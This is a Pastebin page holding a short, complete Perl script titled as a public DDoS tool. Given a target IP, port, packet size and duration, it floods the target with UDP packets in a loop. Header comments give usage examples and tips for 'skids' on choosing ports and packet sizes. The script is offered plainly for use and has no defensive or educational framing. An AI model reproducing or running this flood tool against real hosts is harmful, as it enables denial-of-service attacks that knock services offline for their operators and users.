Advertisement
talama

[NTB] - DDoS Script

May 7th, 2017
456
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.31 KB | None | 0 0
  1. <!------
  2. 1: perl username.pl
  3. 2: perl username.pl 123.456.789 80 2000 3600    
  4. ---->
  5. #!/usr/bin/perl
  6.  
  7. #Created by ~TwentyOne
  8. #Reccomendations (For skids):
  9. #IP -   Don't DDoS Government Websites.
  10. #Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
  11. #Size - Use '100 - 1000' (Reccomended).
  12. #Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
  13.  
  14. use Socket;
  15. use strict;
  16.  
  17. print '
  18. /$$$$$$$$                              /$$              /$$$$$$                  
  19. |__  $$__/                             | $$             /$$__  $$                  
  20.   | $$/$$  /$$  /$$ /$$$$$$ /$$$$$$$ /$$$$$$  /$$   /$| $$  \ $$/$$$$$$$  /$$$$$$ \'s (PUBLIC) DDoS Script ;)
  21.   | $| $$ | $$ | $$/$$__  $| $$__  $|_  $$_/ | $$  | $| $$  | $| $$__  $$/$$__  $$
  22.   | $| $$ | $$ | $| $$$$$$$| $$  \ $$ | $$   | $$  | $| $$  | $| $$  \ $| $$$$$$$$
  23.   | $| $$ | $$ | $| $$_____| $$  | $$ | $$ /$| $$  | $| $$  | $| $$  | $| $$_____/
  24.   | $|  $$$$$/$$$$|  $$$$$$| $$  | $$ |  $$$$|  $$$$$$|  $$$$$$| $$  | $|  $$$$$$$
  25.   |__/\_____/\___/ \_______|__/  |__/  \___/  \____  $$\______/|__/  |__/\_______/
  26.                                               /$$  | $$                          
  27.                                              |  $$$$$$/                          
  28.                                               \______/        
  29. ';
  30. print "\n";
  31.  
  32.  
  33. if ($#ARGV != 3) {
  34.   print "\n\t\t\t***Error command must recieve four arguements***\n";
  35.   print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  36.   print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  37.   exit(1);
  38. }
  39.  
  40. my ($ip,$port,$size,$time) = @ARGV;
  41. my ($iaddr,$endtime,$psize,$pport);
  42. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  43. $endtime = time() + ($time ? $time : 1000000);
  44. socket(flood, PF_INET, SOCK_DGRAM, 17);
  45. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  46. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  47. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  48. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  49. for (;time() <= $endtime;) {
  50.   $psize = $size ? $size : int(rand(1500-64)+64) ;
  51.   $pport = $port ? $port : int(rand(65500))+1;
  52.  
  53.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement